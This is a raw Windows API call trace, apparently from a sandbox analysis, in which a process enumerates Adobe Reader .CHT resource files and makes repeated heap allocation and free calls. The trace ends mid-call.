[0082.833] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.833] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHT", cAlternateFileName="")) returned 1 [0082.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12148e0 [0082.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129f5e0 [0082.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.835] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CHT", cAlternateFileName="")) returned 1 [0082.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214900 [0082.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129f7f0 [0082.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.837] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CHT", cAlternateFileName="")) returned 1 [0082.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214920 [0082.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129f6e8 [0082.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.838] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CHT", cAlternateFileName="")) returned 1 [0082.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214940 [0082.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129fb08 [0082.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.840] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CHT", cAlternateFileName="")) returned 1 [0082.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214960 [0082.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129fc10 [0082.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.841] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CHT", cAlternateFileName="")) returned 1 [0082.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214980 [0082.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129fd18 [0082.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.843] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CHT", cAlternateFileName="")) returned 1 [0082.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12149a0 [0082.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129fe20 [0082.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.844] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CHT", cAlternateFileName="")) returned 1 [0082.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12149c0 [0082.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129ff28 [0082.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x72c0) returned 0x12c2338 [0082.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0082.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.846] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CHT", cAlternateFileName="")) returned 1 [0082.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12149e0 [0082.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0030 [0082.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.848] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CHT", cAlternateFileName="")) returned 1 [0082.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214a00 [0082.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0138 [0082.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CHT", cAlternateFileName="")) returned 1 [0082.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214a20 [0082.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0240 [0082.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.851] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CHT", cAlternateFileName="")) returned 1 [0082.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214a40 [0082.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0348 [0082.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.852] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CHT", cAlternateFileName="")) returned 1 [0082.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214a60 [0082.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0450 [0082.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.854] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CHT", cAlternateFileName="")) returned 1 [0082.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214a80 [0082.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0558 [0082.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.856] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.CHT", cAlternateFileName="")) returned 1 [0082.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214aa0 [0082.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0660 [0082.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.858] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe0e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CHT", cAlternateFileName="")) returned 1 [0082.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214ac0 [0082.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0768 [0082.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CHT", cAlternateFileName="")) returned 1 [0082.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214ae0 [0082.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0870 [0082.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.861] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CHT", cAlternateFileName="")) returned 1 [0082.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214b00 [0082.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0978 [0082.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.863] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CHT", cAlternateFileName="")) returned 1 [0082.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214b20 [0082.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a0a80 [0082.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.864] FindNextFileW (in: hFindFile=0x2e9040, 